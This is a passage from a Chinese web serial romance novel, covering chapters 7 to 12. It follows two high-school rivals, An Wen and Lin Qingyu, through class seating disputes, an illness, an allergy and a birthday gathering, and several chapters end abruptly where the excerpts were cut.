安闻的话掷地有声,三言两语便消解了罗晴的不安,罗晴登时喜笑颜开,又觉不好意思,略作收敛,脸上的笑淡去,反而显出有些忧心的样子。 安闻将罗晴的情绪转换尽收眼底,他温声安慰着,“这次,是你光明正大赢来的。不过,你可要小心,万一林清宇痛定思痛,下次考试又甩你十几二十分。” 罗晴看着安闻,缓了好一会儿才正色道,“我知道,放心吧,这个第一的位置我既然坐上了,就没那么容易下去。” 罗晴斗志昂扬,眼睛里闪烁着光芒,然后若有所思地轻声说,“就是怕林清宇回家不好交代,范老师说告诉他家长了,你说林清宇他爸不会揍他吧?” 安闻想起中午放学,林清宇说林叔叔来抓他了,也不知道回家有没有挨揍。安闻拿出手机看了一眼,这个时间林清宇该到他家了吧,中午挨了揍又扑了个空,会不会很郁闷? “一米八多的人了,林叔叔应该不会揍他了吧。”安闻思索着开口,既是回答罗晴的问题,也是说给自己听的。 他攥着手机,有点后悔,早知道等等林清宇了。林叔叔最看重成绩,在林清宇学习方面花了很多心血,下一子从第一掉到第六十九,这么大的差距,林叔叔会挺生气的吧。 安闻越想越觉得林清宇挨揍了,肯定挨揍了。 他下意识拿出手机,翻出林清宇的微信,又不知道要发什么。 这时聊天界面正好发来一句话。 青雨:[我猜你一定没等我,所以我在学校等你。] 安闻用指腹敲了敲手机,最终一个字都没发出去。 *** 罗晴一到学校,就被守在教学楼门口的叶笑笑拉到了一边。俩人窸窸窣窣说了好一会儿,安闻站着不走不合适,不打招呼直接走也不合适,就愣愣地站在旁边等着。 叶笑笑,就是高一当众给林清宇递情书的那个猛女。当初林清宇让她当众难堪,安闻以为她早就放弃了,现在看来不仅没死心,反而更聪明,转变了策略。 “嘿,想什么呢?”罗晴在安闻眼前晃了晃手,夺回了安闻盯在叶笑笑身上的注意力,“笑笑找我打听林清宇那事。” “你和她,怎么认识的?”安闻发问。 罗晴迟疑了一下,含糊地回应说,“我俩一个初中的,来了一中才熟络。” “她挺有意思的。” “啊?那你没机会咯。她喜欢林清宇。” 安闻的本意是,面对林清宇同归于尽式的拒绝,叶笑笑顽强抵抗,没有退缩,真挺 7. 吃瘪 《身患绝症后拽少对我死缠烂打》全本免费阅读 刘秉航等学生们坐定,先是做了自我介绍。然后神情严肃地看向教室后排,点起了新班主任上任的第一把火,“不管你之前在哪班,不管你之前考多少分,都是过去式,要让我高看你一眼,就用成绩说话。” 接下来的时间,学生们也轮番进行了自我介绍。轮到他同桌的时候,安闻坐直了身体,微侧着脸。仿佛是感应到了安闻对自己感兴趣,身边的同学笑着看了他一眼,才扶着桌子站起来。 “大家好,我叫齐笛,来自高一(4)班,很荣幸遇到优秀的你们,以后的日子,请大家多多指教。” 刘秉航带头鼓掌,教室里爆发出一阵掌声,能从(4)班直接考到(1)班的人,最少要在年级大榜上进步100多名,对于这般努力的人,大家都毫不吝惜赞许和钦佩的掌声。 并且齐笛的出现,成功地激发了原来(1)班同学的好胜心,刘秉航有心让他做班级里的“鲶鱼”,当下就点名让他当学委,带领同学们摆正心态,刻苦学习。 同学们的自我介绍,有插科打诨的,有奋发图强的,有精神抖擞的,有中规中矩的,每个人都带着期待与热情,认真地展示自己,融入新班级。 只有林清宇,在众人瞩目中站起来,他扫视了一圈,目光在安闻的方向停顿了三秒,报了自己的名字,就抿着嘴坐下了。 林清宇话少,(1)班的同学早就习以为常。几个不了解的新同学,时不时地打量林清宇,露出惋惜和遗憾的目光。 安闻正在跟齐笛讨论分班考的各科分数,听见“林清宇”三个字,下意识地看向后排,他嘴角带着没来得及收的笑,正正地对上林清宇的目光。 安闻也不知自己在心虚什么,仓皇地将视线转到了旁边做介绍的梁米身上。 一轮自我介绍结束,刘秉航推了推眼镜,指定了第一排的徐佑华当班长,“我看你刚才挺热心积极的。徐佑华,你安排发书吧。” 徐佑华刚站起来,刘秉航又补充了一句,“座位就先这么坐着吧,有没有人有问题?” 一般老师说这话的时候,只需要学生们齐声附和,“没问题。”所以徐佑华直接站起来,准备发书。 “老师,我有问题。” 老师定下来的事情,即使有问题,学生也会下课去办公室跟老师私下说。林清宇这个书呆子,学习学傻了,当着这么多同学面,质疑新上任的班主任,同学们立即转头瞪大了眼睛,看着声音的源头,大气都不敢出。 “按照成绩排座位是最公平的,你下次考到前面来,自然会给你调座位,最后一排的位置总要有人坐。”刘秉航以为林清宇对坐在最后一排不满意,开口就堵住了他。 林清宇:“老师,我要和安闻做同桌。” “胡闹!学校你家开的?你说跟谁坐同桌就跟谁做同桌?” 刘秉航从教时间短,还是第一次当班主任。学生当中挑战自己的权威,他觉得有失班主任的威严。 林清宇:“我语文成绩差,希望安闻同学可以帮帮我。” 安闻本着看热闹的原则,正积极地给齐笛介绍现在站起来的这位同学,突然听到自己的名字,有些呆愣。 齐笛跟安闻确认了一遍,“同桌,他是不是说想跟你做同桌?” 安闻点点头,心想,完了完了,林清宇又犯病了。 “我反对,老师。” 安闻倒吸一口气,看着身边站起来的齐笛,不敢置信地张大了嘴,什么情况?! 周围渐渐响起了窃窃私语声。卢远回头,对着他挤眉弄眼地看笑话,安闻感觉到了社死,低着头听声音。 “老师刚才也说了,按成绩排名是最公平的,你自己的失误,不能让其他同学为你买单,况且,帮你补课不一定要坐在一起,上课不许交头接耳,你可以用课余时间请教同学。” 齐笛盯着林清宇,义正言辞地阐述反对的理由。安闻听着不太对劲,怎么感觉齐笛很熟悉林清宇? 林清宇对齐笛的话置若罔闻,继续说道,“刘老师,语文是安闻强项,化学是我强项。我和安闻正好可以取长补短,共同进步。” 林清宇的理由说得冠冕堂皇,安闻没有齐笛那样的理由站起来说反对,总不能说,我讨厌他,不想跟他坐吧。 刘秉航站在讲台上思量了片刻,“我认为齐笛同学说的有道理,取长补短可以用下课时间交流,上课还是要好好听讲的。” 新班主任上任就被打破原则,实在不妥。但有问题也不能不处理,于是他做了让步,“这样,咱们大原则不变,实在有问题不能克服的同学,叫家长给我打电话。” 林清宇不再争辩,面无表情地坐下。 安闻松了一口气,朝齐笛使眼色,做了个感谢的手势。 他没忍住回头看了眼林清宇,林清宇也正瞪着眼睛看他,安闻扬了扬下巴,向林清宇比了个V的手势。 安闻回过头,想着林清宇吃瘪的表情,心里有些得意,中午那点儿不开心烟消云散。 返校第一天并没有什么事情,发完书和校服,就是一下午的自习。刘老师看得不算严格,大概是给同学们时间交流,尽快融入新班级。 安闻和齐笛聊了一下午,发现两人有很多聊不完的话题。而且安闻喜欢玩的游戏,齐笛也都喜欢,安闻喜欢的专辑,齐笛都会唱。最惊喜的是,两人还都喜欢惊险刺激的项目,比如蹦极,跳伞,潜浮...... 安闻觉得自己好像又找到了一个知己。 另一个知己不愿意了,上课传来纸条,“你有新欢就忘了旧爱啊?” 安闻无奈掏出手机,鬼鬼祟祟地给卢远发消息,“乖,今晚跟你打游戏。” 他今晚放学有事,新发的书太重,就放在了学校。 兰胜男中午叨叨了好久,让他去看大伯,还掉了几滴眼泪。 安闻没有办法,只能买点水果去了趟养老院。 之前自己小,兰胜男还会陪着。现在兰胜男 8. 青梅竹马 《身患绝症后拽少对我死缠烂打》全本免费阅读 兰胜男在旁边帮腔,“宝宝这次化学也没考好,让小宇也费费心,俩孩子互相帮助,咱们都省心。” “妈......”安闻难为情地打断兰胜的话。 “哎哟,怪我怪,我,我嘴快了。”兰胜男笑着给白月洁解释,“孩子大了,嫌我叫他宝宝丢人,不让我叫了。” 白月洁眉眼含笑,颇为欣赏地看着安闻,“男子汉总是顾面子的。不知不觉,咱们孩子都长这么大了。”白月洁打量着安闻,夸奖道,“这孩子像你,长得像个娃娃似的,漂亮。” 安闻不说话,低着头装乖,他觉得漂亮是说女孩子的,男孩子应该说酷或者帅气。果然,兰胜男开口就夸了林清宇帅气。 “比不上小宇,清秀帅气。而且你们家基因好,小宇长那么高。”兰胜男谦虚地夸赞,突然想起了往事,“白姐,你记不记得,咱俩怀孕时候,约定说要是一男一女,就是青梅竹马,咱们俩家以后做亲家。” 安闻惊讶地抬起头,认真地听着,自己和林清宇还有一段指腹为婚? 白月洁抿嘴笑着,言语间似乎还有点遗憾,“怎么能不记得啊,后来你先生了小闻,我还盼着肚子里是个女孩儿来着。” “是呀是呀,你给小闻生了个弟弟,现在这弟弟比小闻都高出那么大一截儿。” 兰胜男和白月洁陷入了往事的回忆里,言语间满是兴奋。安闻插不进去话,难受劲儿也还没过,就打了声招呼回卧室。 卧室门一打开,台灯是开着的。林清宇端坐在安闻的书桌前面。 “你怎么在我卧室里?”安闻瞪着眼睛发出疑问。 “兰姨和我妈有事要说,让我在你卧室等你。”林清宇站起来老实回答。 兰胜男在客厅聊地正起劲,听见卧室里的说话声才想起来,她歪着头叫安闻,“宝宝,我忘了告诉你,我让小宇在卧室等你的。你俩好好学会儿习。” “啧,宝宝?”林清宇抱着双臂,重复了一遍兰胜男对安闻的称呼。 安闻又难为情,又生气,“别瞎叫,滚出去。” “我不滚,兰姨让我在这里等着的,要滚你滚。”林清宇坐在椅子上耍赖,一副厚颜无耻的样子。 安闻实在是低血糖的劲儿没过去,难受得厉害,不想跟他扯皮。他放下书包,去衣柜拿了衣服,就开门出去冲澡了。 安闻的房间满满当当,一张大床靠着窗边,窗台上陈列着一排花盆,样式很多,唯一的相同就是,都是空的。墙边靠着一排衣柜,上面贴着风格不一的海报。靠门的墙是空的,只挂了一个表,但墙体颜色五彩斑斓,是直接画上去的。 床头旁边一张带书架的大书桌,整整齐齐堆满了书,书桌的透明桌垫下被课表、计划表填满。刚才安闻进来的时候,他正看着桌垫下的照片出神,照片里是安闻小时候,也就是一岁多,才刚刚会走路。胖嘟嘟的,穿着一身明黄色的衣服,被兰胜男抱在怀里。 安闻几天除了头晕,心慌,还有些恶心,想吐。总之就是难受得厉害。他没力气应付林清宇,但也知道欠债还钱,知恩图报,都是天经地义的事情。钱是大事,也是小事,日子宽裕了,还上就行。可承了别人雪中送炭的情,是怎么也还不完的。 所以他对林清宇凶,只是逞口舌之快,该教的东西还是要教,而且确实林清宇在化学方面,能帮助自己。 他从浴室出来时,穿过客厅时没看见白月洁,就径直进了房间。 林清宇竟然还在,安闻有些诧异。 他走上前,看见林清宇塞着耳机正专注地看书。指节叩了叩桌子,“笃笃”,林清宇摘下耳机,抬头。 安闻换了睡衣,头发乖顺地趴在脑袋上,发尾有点湿,一双圆眼正疑惑地盯着他。那双眼澄澈、明亮,又因刚洗完澡,蒙着一层水雾。林清宇的心像被小猫挠了一样,痒痒,又想躲,又不忍心躲,又不舍得躲。 安闻见他盯着自己不说话,又叩了一下桌子,不耐烦得问,“怎么还没走?” 林清宇这才反应过来,将身子往后一靠,懒散地伸了个懒腰,理所应当道,“我妈让我跟你学习。” 安闻扫了一眼书桌,桌上的书失了固定,自然而然地合上,藏蓝的封皮,几个烫金大字,《月亮与六便士》。 他盘腿坐在床上,说话声音是难得的柔软,“林清宇,我累了,今天不想学习。” 林清宇目光追随着安闻,等他转过身来才发现,安闻脸色煞白,连带着平时咄咄逼人的嘴,都失了血色。 他站起来,两步奔到安闻床边,急切问道,“你怎么了?哪里不舒服?” 安闻被他突然冲过来的动作惊得身体后仰,双手撑在床上,一脸防备。林清宇后知后觉自己的反应过度,他后退了一步,目光在安闻身上逡巡,柔声问道,“中暑了?” 安闻坐直了身体,把胳膊肘撑在膝盖上,烦躁地问,“想睡觉。你什么时候走?” “我妈和兰姨在卧室说悄悄话,我得等她。”林清宇看安闻是真难受得厉害了,也不想再逗他,“我看着你吃了药,然后去客厅等我妈。” 林清宇言而有信,看着安闻吃了药,就关灯出去了。安闻感觉头好涨,迷迷糊糊地也不知道睡着了还是没睡着。 他听见兰胜男跟林家母女道别的声音,又听见林清宇好像返回一趟的声音,还有冷毛巾敷在自己额头上的感觉。 凌晨三点,安闻的神智恢复了一丝清明。他打开灯,看见床头上的退烧药、退热贴,才知道自己昨晚发烧了。 也不知道是不是发烧时候的幻觉,他总觉得昨晚林清宇好像又回来了。 安闻睡眠质量还挺好的,一觉到天亮,中间不怎么会醒。但是一旦醒来,也挺难入睡的,得翻腾挺长时间。安闻脑子里一直想着大伯躺在床上的样子,语言含糊不清,坐起来都需要护工帮忙,那个样子让安闻有点害怕。 他翻来覆去地胡思乱想,直到闹钟响起才有了困意。但是上学不能迟到,他强撑着起床洗漱,好在今早林清宇来接了自己。安闻也顾不上扭捏和推拒,一屁股就坐进了车里。 < 9. 过敏 《身患绝症后拽少对我死缠烂打》全本免费阅读 林清宇回头看一眼安闻,像是看傻子一样,可是还是忍不住自责,“你新校服没洗吧?怪我,昨晚光想着你难受,忘了帮你洗校服了。” “你帮我洗什么校服?”安闻不明所以。 林清宇用手背探了探他的额头,“退烧了啊,昨晚烧失忆了?你昨天烧得全身是汗,衣服都是我换的,我洗的,洗衣服时候忘记把校服顺手洗了。” 安闻有些不相信,觉得又是林清宇在逗自己。“怎么可能,我妈去哪了?怎么让你给我换衣服?” 林清宇又在看傻子了,但他语气非常正经,“宝宝,你真当自己是宝宝啊?你是个快成年的男人了,你觉得让兰姨给你换内裤合适吗?我正好在你家,只有咱俩性别合适,不是我换的还能是谁换的。” 林清宇的话如同一片惊雷,安闻脑子嗡的一下,他的第一反应是,做贼心虚瞄了一眼周围。确定没人听见刚才林清宇的话。然后才想起来羞臊。 换内裤?我靠,内裤是林清宇给换的?今早迷迷糊糊地没发现内裤换了,现在想想,好像确实花色和自己昨天洗澡时候穿的不一样。安闻现在是顾头不顾腚了,顾不上林清宇喊他宝宝这件事,他抱着脑袋回想昨晚,但是实在想不起来发生了什么。 但是他心里已经确认,林清宇说的是真的。没脸见人了,虽然自己也会玩笑着跟卢远比大小,但是自己在死尸状态下,被林清宇看个干净,想想就太社死了。 安闻掩面,脸色由白透粉,由粉渗红,那林清宇昨晚比大小了吗?自己单方面被比大小,想想就很亏啊。安闻的脸红得都要沁出血来了。 林清宇看着安闻的脸越来越红,存了逗弄他的心思,但一想安闻还在过敏,现在不是时候,他抓着安闻的手腕,边走边说,“我让梁米回宿舍拿他的校服去了,一会儿送去医务室,你先换上。” “那你昨晚几点走的?”安闻在后面小声问。 “十二点多,你退了烧我就走了。”林清宇实话实说,还补充了一句,“我妈跟兰姨聊嗨了,都不想走了。但是你家没有我睡的地方,而且我去你家也没拿书包和校服。” 安闻其实还想问,那林清宇怎么没过敏。后来一想,林清宇家有保姆,肯定校服放了学就洗完烘干了。而且自己的这个破体质,跟林清宇那装如牛的体质也没法比。 也不知是不是心理作用,到了医务室,安闻感觉全身都在痒了。校医给开了氯雷他定,说是不严重,让吃了药,就回去上课。林清宇不依不饶,坚持让安闻在医务室观察,以便有情况可以及时处理。 校医看林清宇紧张兮兮的,以为安闻过敏史比较严重,就同意给安闻安排张床,在医务室观察两小时再回去。 看着安闻吃完药,换上洗干净的校服,林清宇和梁米一道回班级上课。 安闻躺在床上,很快睡沉了。 这一觉,睡得神清气爽。睁眼已是十一点多,第四节课都开始了。 安闻曲起腿,挽起裤子,疹子淡了一些,没那么痒了。脖子有点痛,可能是不小心挠破了,他找了一圈,没看到医务室有镜子。反而看见自己的水杯在枕头旁边,露出半截儿,轻轻掀起枕头,自己的手机也在下面。 手机屏幕亮了,有几条微信。 青雨:[杯里的水,温度正好能喝。] 青雨:[喝之前看一下杯口,图案能对齐再喝] 青雨:[刘老师和任课老都打过招呼了,你醒了不用着急回来上课。] 青雨:[嗓子痒不痒?有没有呼吸困难?] 青雨:[醒了吗?] 安闻看看微信时间,前三条,是第二节课结束的课间操时间发的。后两条,是十分钟前发的,林清宇竟然上课玩手机。 他放下手机,拿起枕头边的保温杯,转了一圈,终于找到了林清宇说的图案。 一个用铅笔画的小太阳,隐匿在黑色的保温杯杯口,要不是安闻对着阳光,看到了铅笔的反光,还真不容易找到。 他拧开杯盖,抿了一口,温的,红糖水。 手机屏幕又亮了。 青雨:[该醒了吧?醒了别走,等我。] 他抻了个懒腰,勾着嘴角,拎起手机敲字。 太阳花:[就不。]配了个傲娇的表情。 第四节课是语文课,因为刚开学的缘故,教学进度松弛,老范要求课上写作文。教室里非常安静,除了唰唰的落笔写字声,其他异常的声音都会被放大,听得一清二楚。林清宇手机只能调成静音,握在左手里,右手写字,时不时得看一眼。 路过后门的时候,安闻踮起脚,目光略过梁米,扫了一眼林清宇,看见他正在偷看手机。安闻像小猫一样,放轻脚步,晃到前门。咧着嘴大喊一声,“报告!” 教室里所有人都倏地抬头,伴随着把东西放进桌斗的细碎声音。 林清宇顺着声源望过去,刚刚言之凿凿不等自己的人,就站在教室门口,一脸恶作剧得逞的得意。他把手机放进桌斗,若无其事得继续写作文。 同桌的动作幅度有点大,梁米下意识转头,惊奇地发现,林清宇竟然在笑。 一个人偷偷摸摸的声音或许微不可察,一群人一齐的动作绝对难以隐藏。 安闻把手背在身后,手里的塑料袋窸窣作响。老范看了一眼安闻,又转回来头,站起来,同学们登时坐得笔直,“好点了吗?”她一边询问安闻,一边扫视全班,走下讲台。 “好多了,谢谢老师关心。”安闻站在门口答道。 “回去坐吧。”老范弯腰从卢远桌斗里拿出一本书,返身回了讲台。 教室顿时哄笑一片。 昨天发的书都堆在桌斗里,挤得一点空间都没有,为了把塑料袋里的东西放进去,安闻只好侧弯下腰,整理桌斗。他看见一杯咖啡挤在桌斗的角落。 他停下动作,从塑料袋里拿出一块绿豆饼,悄悄递给齐笛,齐笛歪头,安闻用指了指咖啡,用口型说了声谢谢。对方盯着安闻的脖子,微微一笑,继续奋笔疾书。 马上放学,写作文已经来不及了。安闻决定拿出语文课本,研究目录。 10. 你也来 《身患绝症后拽少对我死缠烂打》全本免费阅读 中午放学时间,学校周围的快餐店人山人海,三人好不容易找到了一家山西刀削面,人稍微少一些。等四个小菜上了桌,卢远才风风火火地过来。进来第一件事就用书狠拍了下安闻的后背,把安闻痛得龇牙咧嘴。 林清宇微微皱眉,拉开了旁边的凳子,卢远一屁股坐下,眼睛闪着光跟安闻嚷嚷,“我刚才在老范办公室,听见于二饼说教师节正好是周五,给老师们放半天假。咱们要是也跟着放假的话,你怎么的也得在昆仑请一桌。” “于二饼?” “你生日?” 卢远的说话对象安闻,不为所动,反而是梁米和林清宇同时开口。梁米还没有习惯卢远总给人起绰号的德行,好奇于二饼是谁。 而林清宇,他记得安闻生日是中秋节前一天,怎么变成了教师节。不过好像去年教师节,安闻确实请客来着,只是林清宇没有参与。 在听清林清宇说的话后,梁米推了推眼睛,问安闻,“安闻,你生日是教师节?” 安闻笑着跟他解释,“不是,我过农历的。只是去年恰巧赶上了教师节。不过也快了,到时候请你,你一定要来。” 林清宇挑了挑眉,眼神期待地看着安闻。安闻余光瞄见了,没有说话。 中午吃饭的人多,聊了半天刀削面还没上来,梁米从口袋里拿出安闻给的绿豆饼,询问大家要不要吃。 “诶呦我去,你怎么还有绿豆饼啊。”卢远伸手去拿。 安闻拍掉卢远在空中的手,拿出另外一块,塞他手里,“你也有,别吃梁米的。”塑料袋里还剩最后一块绿豆饼,还有两包药,安闻把药塞进裤子口袋,绿豆饼拿在手里,虚搭在桌上。 “什么时候买的啊?”卢远边吃边囫囵地问安闻。 安闻:“回教室之前,路过食堂,刚出炉,买三送一,就买了三块。” 卢远大口吞了自己的这块,把纸皮包装团起来,贪婪地盯着安闻手里的,“送的那块呢?” 安闻正攥着绿豆饼看着林清宇,也没多想,随口回到:“给齐笛了。” 林清宇忽然抬头看过来,安闻的眼神躲闪不及,他只能硬着头皮,把手里的绿豆饼推过去,“给你。” “我不要。”林清宇头一撇,语气生硬地拒绝。 “不要拉倒,我自己吃。”安闻扒开纸皮,恶狠狠地咬了一口。 卢远在旁边看戏,有点莫名其妙,刚才两人还好好的,就一个绿豆饼,又不是什么鲍参翅肚,多大个事,一会儿再买几个,至于剑拔弩张的? “刀削面怎么还没上?我去催催。”梁米站起来往吧台走,卢远跟着要去上厕所,也走了。桌上只剩下安闻和林清宇。 安闻把纸皮叠成了青蛙,趴在桌子上,旁边的人还是不说话。 安闻终于按捺不住,烦躁地开口诘问,“林清宇,你抽什么风。” 林清宇放开手里揉搓的桌布,低着头,若无其事回答道,“没抽风,我就是不爱吃绿豆饼。” 一只纸青蛙蹦到林清宇面前,他把青蛙调转了方向,按了一下青蛙屁股,青蛙又弹回安闻手边。青蛙如此在两人之后往复,屁股被按得塌软,马上就跳不动了,安闻终于开了口,他支吾道,“那......我生日那天,你有空的话也来。” 林清宇幽黑的眸子划过一丝讶异,惊喜爬上眉梢,应了声“好”。 这时,梁米和卢远各端了两碗面回来。人还没坐下,卢远就又开始叭叭了,“我说你们行啊,你们三个吃羊肉臊子,给我点个西红柿打卤的,欺负我来得晚,连肉都不给我点。” 刚才点菜的时候,卢远还没来,安闻说自己和卢远随便,让梁米和林清宇看着点。梁米是个没主意的,就把点菜大权全权交给了林清宇,此时也是丈二和尚摸不着头脑。 林清宇接过卢远手里的两碗面,一碗放自己面前,另一碗西红柿打卤面给了安闻,然后找了一双新筷子,顺手把碗里的香菜夹到自己碗里。 这一套动作,如行云流水,流畅自然。惊呆了其余三人。林清宇把桌上青蛙收进自己的校服口袋,拿了一双新筷子递给安闻,看了一眼安闻瞪圆的眼睛,笑着柔声说,“瞪眼睛也没用,你过敏不能吃羊肉,回家之后,饮食也注意一点。” 梁米歪着脑袋看着,心中尽是狐疑。 吃完饭,安闻站起来要去付钱,林清宇这次竟然没有阻止。 回学校的路上,卢远和安闻并排,兴高采烈地策划着安闻的生日。安闻是没什么意见,直说让他来安排,自己跟着结账就行。 “安小闻,今年你都请谁啊?我看着人数安排。”卢远拿出手机,捅了捅安闻,小声说,“你今年准备请谁啊?后面那个,带不带他?” 安闻侧着脸,余光注意到后面的人,被他俩落在后面的林清宇和梁米,正在讨论波线通过不同介质,波长、波速和频率问题,林清宇在比划着讲解,梁米侧着头认真地听。 安闻刚才邀请了梁米,现在卢远说的自然是林清宇。他漫不经心地说,“带着吧,还有去年那些人,想去的都带着。对了,还有我同桌。”他停顿了一秒,接着说,“算了,我自己问他吧。” 卢远刚解锁手机,准备拉群,安闻拉住了他,他沉吟片刻,又向后瞄了一眼,压低声音说,“要不少点人吧,去年那么多人,都去昆仑的话,我请不起。” 卢远拍了下安闻肩膀,“兄弟,你是真实在啊,我就那么随口一说,去什么昆仑,去年那个小饭店不挺好的吗?干净还好吃。”他翻了一下手机通讯录,“不过,去年两大桌,都快成班级聚餐了,熟的不熟的聚在一起,没什么意思。今年咱们就叫几个关系好的,还去那个小饭馆,余下的预算咱们嚎一会儿去。” 去年安闻生日的时候,高一刚开学半个月,班级同学互相都不熟,安闻就都邀请了一遍,最后来了将近半个班的人,饭店老板把大堂的桌子拼拼凑凑,连成了两个大桌子,才挤下他们。那时,安闻人逢喜事,花钱没个节制,今年还这么请的话,确实有点心疼钱。 而且,去年,安闻是请了林清 11. 大乱斗 《身患绝症后拽少对我死缠烂打》全本免费阅读 安闻记得去年中秋节前一天,是提前半天放学的。但今年老师们口风很严,直到安闻生日当天,卢远都没打听到下午放不放假。上午最后一节课,是刘秉航的化学课。放学铃响的时候,还有个尾巴没讲完,刘老师刚说完拖会儿堂,就听见隔壁(2)班的同学欢呼放假了。 (1)班的同学立时心猿意马,碍于班主任在此,不敢造次,可屁股早就坐不住板凳。刘老师只能提高音量,吸引注意力,勉强讲完了最后一个化学反应方程式。 安闻他们班下课的时候,小班还在拖堂。安闻去小班后门偷听了一下,范老师还在讲课,估计得等一会儿。 大家在座位上收拾好东西,坐在一起,讨论去哪里吃饭。 本来卢远是定了晚上的私房菜,突然多了个意外的假期,肯定不能浪费,众人决定取消晚上的预定,改成中午胡吃海塞,下午继续其他娱乐活动。 卢远联系私房菜,得知他们中午都预定出去了,只能作罢,另寻他处。 徐佑华说除了火锅都行,姚雨桐提议吃寿喜烧,人多意见就多,七嘴八舌讨论了半天,谁也定不下来要吃什么。最后大家一致同意,寿星决定。 安闻转头看了下后排,林清宇在低头做题。他碰了碰齐笛胳膊,问齐笛有没有什么想吃的。 得到的回复是都可以,但是齐笛说他知道有家新开的自助烤肉,有好几个大包厢,离学校也近,不用打车,走路一刻钟就能过去。寿星当即拍板,就去那里。 这时,小班的学生陆陆续续地走出教室,卢远一下子窜出去,不敢离得太近,就站在(1)班门边张望。 “罗晴,这里。”卢远叫住罗晴,告诉她改了时间和地点,现在就要去吃饭。罗晴赶紧脱下书包,翻出里面的手机。一脸急切地发信息。 小班的王光武随后出来,人终于到齐了。 安闻,齐笛,卢远,走在前头。一群人浩浩荡荡地往烤肉店走去。 路过大门的时候,安闻又看见了叶笑笑,最近总是能看到叶笑笑。叶笑笑在大门旁边等车,他们一行人目标太大,叶笑笑扫了一眼,捕捉到人群里和姚雨彤聊天的罗晴,笑眯眯地跑了过来。 安闻回头瞧瞧,看见林清宇还是走在最后面,依然是比比划划地给梁米讲题,丝毫没注意这边。 “你看什么呢?”卢远问。 “我数数人。”安闻答。 “14个。”齐笛报了个数。 “哎呀,别数了,咱群里一共14个人,全齐了。走吧走吧。”卢远拽着他往前走。 这时,罗晴带着叶笑笑走到安闻旁边,叶笑笑挥挥手,跟安闻打招呼,落落大方地自我介绍。“我是叶笑笑,11班的。安闻,生日快乐。” “谢谢,有时间的话,一起去吃个饭吧?”安闻的脚尖向旁边挪了一下,询问叶笑笑要不要一起。 旁边的罗晴,兴高采烈地说,“你看,我就说安闻会邀请你吧,他平时最爱交朋友了,你不用不好意思。” 罗晴看了一眼后面的林清宇,意味深长地朝安闻眨了眨眼睛,爽朗地对安闻说,“寿星,笑笑刚才说想给你庆祝生日,但是咱班的人认识的不多,她不好意思。” “没事,我们班同学都很好相处的,就怕你一会儿嫌弃他们太热情。”安闻调笑着安慰叶笑笑。 “就是,你不认识我,我们可都认识你。”卢远看了一眼罗晴,继续说,“玩一会儿就熟了,我们正好缺女生呢。” “哎哎哎,怎么就缺女生了?我不是女生?你自己想认识漂亮姑娘就直说,别扯我和罗晴。” 姚雨彤向来是说话不经大脑的大嗓门,这么一吆喝,林清宇和梁米也注意到了前面的动静。一抬头,看见了叶笑笑正在看自己,林清宇礼貌地牵一牵嘴角,转过目光去找安闻。 安闻微蹙眉头,看着卢远和姚雨桐拌嘴,好像没那么开心。 “你别胡说,我就是怕,只有你和罗晴两个女生,你俩无聊,”卢远偷瞟罗晴一眼,又看了一眼走过来的林清宇,扬声道,“再说,就算我想认识人家,人家也不想认识我啊。” 安闻突然觉得站在这两人旁边,有点话都不会说了,他拧了下眉头,想说点什么,又没什么想说的。 “不舒服吗?”安闻没有注意林清宇站在了自己身边,他偷偷看了一眼旁边的人,摇了摇头。 听见林清宇问话,齐笛也凑过来关心,“安闻,你怎么了?” 安闻林清宇和齐笛同时说话,安闻挑了一眼林清宇,转头跟齐笛说,“没事,就是饿得心慌,咱们快点走吧。” 一行人到了烤肉店,齐笛来过一次,领着众人熟门熟路地往包厢走,安闻在吧台交押金,林清宇就站在吧台边。 等他交完钱,拿上小票,林清宇跟上来,“先吃颗糖”,安闻看着林清宇从书包里拿出两粒大白兔,“烤肉比较慢,你饿了先顶一下。” 虽然刚才不是因为饿得皱眉,但安闻确实是感到心慌。他接过糖,扒开糖纸,一次塞了两颗在嘴里。 林清宇很自然地接过糖纸,又从书包里拿出几粒糖,全塞在安闻手里,“就这几粒了,装书包里,留着饿了吃吧。” 安闻接过糖,装进书包,突然转头问道,“那天我妈跟你说的?” 林清宇点了点头,“嗯,阿姨说让我在学校看着点儿你,按时吃饭,少喝咖啡和冰的。” 安闻松开攥着书包的手,轻松说道,“我妈就小题大做,其实没什么事,就是低血糖,饿了容易心慌。” 安闻和林清宇进来得最晚,大家已经放好书包坐在位置上等着了。包厢只空了两个座位,中间隔了三个人,依次是卢远,罗晴,叶笑笑。看着叶笑笑通红的脸,安闻大概能猜出来刚才包厢里发生了什么。 大家嚷嚷着,把安闻拉到了中间的座位坐下。林清宇却还站在门口,他看了一眼姚雨桐,安排道,“姚雨桐,你坐这边来,你们女生坐一起好说话。” 姚雨桐看了一眼叶笑笑,扬着手打趣道,“我是那么没眼力见的人吗?我可不敢。” 众人玩笑了半天,叶笑笑的脸都红透了,林清宇还没坐下。 这时,同样在空座位旁的徐佑华站起来了,他两眼一瞪,凑趣着调侃,“林清宇,我看你是不想跟我坐吧。算了,我走我走,让你同桌来陪你,梁米,来,我跟你换换。” 梁米闻言站起来,看向林清宇,林清宇点了点头。梁米从王光武旁边挤了过来,被林清宇一下推到叶笑笑座位旁边。 众人还没反应过来,安闻敲敲桌子,站起来解围, 12. 朵朵开 《身患绝症后拽少对我死缠烂打》全本免费阅读 安闻正在跟罗晴说话,包厢里突然安静,他疑惑的转过头,看见众人噤声端坐,每个人的脸上都写着“八卦”二字。林清宇和叶笑笑站在桌边,郎才女貌,确似一双璧人。 闷,好闷,明明秋天了,怎么安闻还是觉得热,热得他胸闷。明明是自己的生日宴,林清宇他出什么风头。炫耀,赤裸裸的炫耀,炫耀他有人追,有人喜欢。林清宇可要得意了。 有人喜欢林清宇,明晃晃、坦荡荡的喜欢。 察觉到自己的嫉妒,安闻暗骂一声,靠,嫉妒什么,我长得这么帅,学习优秀,最重要,性格比林清宇好几万倍,不知道有多少人喜欢我,值得嫉妒一个连朋友都没有的林清宇? 只听叶笑笑干脆的声音响起,“林清宇,再喝一杯吧。我敬你,祝你早日重回顶峰。” 她看向林清宇,眼波闪烁,眸底坚定又倔强,林清宇没有坐下,也没有拿起酒杯,叶笑笑弯了下嘴角,郑重地说,“最后一杯,你喝不喝?” “喝。”林清宇豪爽应道。 刚才酒杯已空,他扫了一眼酒桌,目光带过安闻,直接拿起桌上的酒瓶,一饮而尽。 安闻心里的弦倏地紧绷,扯着心底泛酸。林清宇却如释重负,心里一直紧着的弦,终于松了。 